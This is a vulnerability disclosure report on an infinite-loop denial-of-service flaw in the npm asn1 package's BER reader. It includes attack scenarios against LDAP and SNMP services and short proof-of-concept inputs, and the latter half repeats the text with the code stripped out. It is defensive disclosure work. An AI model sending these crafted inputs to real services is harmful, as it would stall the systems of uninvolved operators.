Summary
The npm asn1 package (v0.2.6, latest) contains an infinite loop bug in BerReader.readString() that allows an attacker to permanently stall a Node.js process with as few as 10 bytes of crafted BER input. The bug is in lib/ber/reader.js, line 177-178.
Root Cause
BerReader.readString() returns null when the decoded length exceeds the remaining buffer, but does not advance _offset:
// lib/ber/reader.js, lines 172-180
var o = this.readLength(this._offset + 1);
if (o === null)
return null;
if (this.length > this._size - o)
return null; // ← BUG: _offset is NOT advanced
this._offset = o; // ← this line is never reached
Any code that iterates BER children in a loop (a standard pattern):
while (reader.remain > 0) {
reader.readString(reader.peek(), true);
}
...will spin forever: remain never decreases because the offset never advances, and peek() returns the same tag byte each iteration.
Impact
- CPU denial of service: 100% single-core usage, Node.js event loop completely stalled
- Not a crash: The process stays alive but becomes entirely unresponsive, making detection harder
- 10 bytes of input is sufficient to trigger the bug
- Network-reachable via any protocol that carries BER-encoded data
Downstream impact
The asn1 package is a transitive dependency of widely-used packages:
- ssh2 — SSH client/server. Malformed BER in SSH key exchange or authentication data.
- (I list ssh2 as it is not affected, but based on my test, there are some lib still effected.)
Attack scenarios
-
Malicious LDAP server: Attacker operates a rogue LDAP server (or MITM). When a victim application connects and queries, the server responds with a crafted SearchResultEntry containing an oversized length field. The ldapjs client enters an infinite loop.
-
Malicious LDAP client: Attacker sends a crafted LDAP bind or search request to an ldapjs server. The server's BER parsing loop hangs.
-
SNMP trap injection: Attacker sends a crafted SNMP trap with a malformed BER payload to an SNMP manager using this library.
Reproduction
Minimal reproducer (10 bytes)
const asn1 = require('asn1');
const BerReader = asn1.BerReader;
// SEQUENCE(8 bytes) containing OCTET STRING claiming length 32 (exceeds buffer)
const buf = Buffer.from([0x30, 0x08, 0x04, 0x81, 0x20, 0x41, 0x41, 0x41, 0x41, 0x41]);
const reader = new BerReader(buf);
reader.readSequence();
// This loop will never terminate:
while (reader.remain > 0) {
const tag = reader.peek();
const offsetBefore = reader._offset;
reader.readString(tag, true);
if (reader._offset === offsetBefore) {
console.log('INFINITE LOOP: _offset stuck at', offsetBefore);
break; // safety break for demonstration
}
}
readString offset bug (direct)
const asn1 = require('asn1');
const reader = new asn1.BerReader(Buffer.from([0x04, 0x81, 0xFF, 0x41, 0x42, 0x43, 0x44]));
console.log('before:', reader._offset); // 0
reader.readString(0x04, true);
console.log('after:', reader._offset); // 0 — BUG! should have advanced
If the maintainer does not respond, I might report/work with npm security to publish an advisory so that downstream consumers can take appropriate action (e.g., patching locally or switching libraries).
Best regards.
Summary
The npm
asn1package (v0.2.6, latest) contains an infinite loop bug inBerReader.readString()that allows an attacker to permanently stall a Node.js process with as few as 10 bytes of crafted BER input. The bug is inlib/ber/reader.js, line 177-178.asn1on npm (https://www.npmjs.com/package/asn1), v0.2.6 (latest)BerReader.readString(),lib/ber/reader.js:177Root Cause
BerReader.readString()returnsnullwhen the decoded length exceeds the remaining buffer, but does not advance_offset:Any code that iterates BER children in a loop (a standard pattern):
...will spin forever:
remainnever decreases because the offset never advances, andpeek()returns the same tag byte each iteration.Impact
Downstream impact
The
asn1package is a transitive dependency of widely-used packages:Attack scenarios
Malicious LDAP server: Attacker operates a rogue LDAP server (or MITM). When a victim application connects and queries, the server responds with a crafted SearchResultEntry containing an oversized length field. The ldapjs client enters an infinite loop.
Malicious LDAP client: Attacker sends a crafted LDAP bind or search request to an ldapjs server. The server's BER parsing loop hangs.
SNMP trap injection: Attacker sends a crafted SNMP trap with a malformed BER payload to an SNMP manager using this library.
Reproduction
Minimal reproducer (10 bytes)
readString offset bug (direct)
If the maintainer does not respond, I might report/work with npm security to publish an advisory so that downstream consumers can take appropriate action (e.g., patching locally or switching libraries).
Best regards.